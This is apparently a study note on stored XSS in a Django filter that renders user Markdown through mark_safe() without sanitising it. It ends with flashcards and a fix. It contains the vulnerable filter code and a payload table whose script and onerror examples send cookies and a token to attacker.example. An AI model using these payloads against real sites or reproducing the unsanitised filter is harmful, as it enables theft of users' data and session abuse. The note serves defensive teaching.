Rendering Untrusted Markdown with mark_safe Causes XSS
Converting user-supplied Markdown to HTML and wrapping the result in mark_safe() is a stored Cross-Site Scripting (XSS) vulnerability. Two behaviors combine: Markdown lets raw HTML and arbitrary link schemes through, and mark_safe() switches off the escaping that would otherwise neutralize them.
@register.filter
@stringfilter
def render_markdown(value):
md = markdown.Markdown(extensions=["fenced_code", "codehilite"])
return mark_safe(md.convert(value)) # vulnerable: no sanitization
Markdown is not a sanitizer
Inline HTML has been part of Markdown's syntax since the original specification, and Python-Markdown copies any HTML in the input to the output unchanged. Link syntax ([text](url)) also accepts any URI scheme, including javascript:. Python-Markdown deprecated its old safe_mode in 3.0 (the option is now ignored) and recommends passing untrusted content through a separate HTML sanitizer instead.
Three payload shapes all come out of md.convert() as executable HTML:
| Payload | Example |
|---|---|
| Inline script | Bonjour! <script>fetch('https://attacker.example/?d=' + document.cookie)</script> |
| Event handler | <img src="x" onerror="fetch('/accounts/get-token/').then(r => r.text()).then(t => fetch('https://attacker.example/?t=' + btoa(t)))"> |
| Script URL | [Voir notre menu](javascript:alert(document.domain)) |
mark_safe turns off auto-escaping
Django templates escape <, >, ", ' and & by default, so <script> would render as harmless text. mark_safe() marks the string as already safe, and the template engine inserts it verbatim.
Impact
The script runs in the victim's browser under the site's origin, with the victim's session. When staff view a stored message (for example a contact-form message rendered in a CRM), the script can:
- read any page the staff member can access (customer PII, a token endpoint) and send it to an external server;
- submit state-changing
POSTrequests, taking the CSRF token from thecsrftokencookie or acsrfmiddlewaretokeninput in the DOM; - replace the page with a fake login prompt to harvest credentials.
The fix is to sanitize the HTML after conversion and before mark_safe(): see Sanitizing Markdown Output with an HTML Allowlist.
References
- Django Documentation:
mark_safe- Marks a string as safe so templates skip escaping it. - Django Documentation: Automatic HTML escaping - The five characters Django escapes by default and how safe strings bypass it.
- Django Documentation:
SESSION_COOKIE_HTTPONLY- Defaults toTrue, which keepssessionidout ofdocument.cookie. - Markdown Syntax: Inline HTML - Original specification allowing raw HTML inside Markdown.
- Python-Markdown Change Log - 3.0 entry:
safe_modedeprecated; untrusted content should be passed through an HTML sanitizer. - OWASP Cross Site Scripting Prevention Cheat Sheet - Recommends HTML sanitization when users are allowed to author HTML.
- Django Markdown Rendering XSS Fix – nh3 Sanitization - Lab where this flaw was found and fixed.
- Unprotected Public Form Risks - Synchronous SMTP DoS and Quota Exhaustion - The public contact form is an input that would carry such a payload to staff.
- Web Application and Django Security MOC - Hub for Django and web application security notes.
Review cards
Flashcard Why does `mark_safe(markdown.convert(value))` on user input cause XSS?
Markdown passes raw HTML and any link scheme through to its output, and mark_safe() tells Django not to escape it, so the payload reaches the page as live HTML.
Flashcard What can a stored XSS payload do to a staff member who views it?
Anything they can do: it runs inside their session, so it can read pages they have access to and send the data out, or submit POSTs with the CSRF token from the page.
Flashcard Why isn't stealing the session cookie the main XSS risk in Django?
sessionid is HttpOnly by default, so scripts can't read it, and the attacker doesn't need it: the script already acts inside the victim's session.
Quiz Where does sanitization go when a Django filter renders user Markdown?
- On the Markdown source, before conversion
- On the HTML, after conversion and before
mark_safe() - On the string returned by
mark_safe() - Nowhere:
SESSION_COOKIE_HTTPONLYis enough
Markdown creates HTML during conversion, and once mark_safe() has run the template inserts the string as is.
Flashcard Why fix an unsafe Markdown filter that no template uses yet?
It becomes exploitable the moment someone applies it to user text, so the fix belongs in the filter, not in each call site.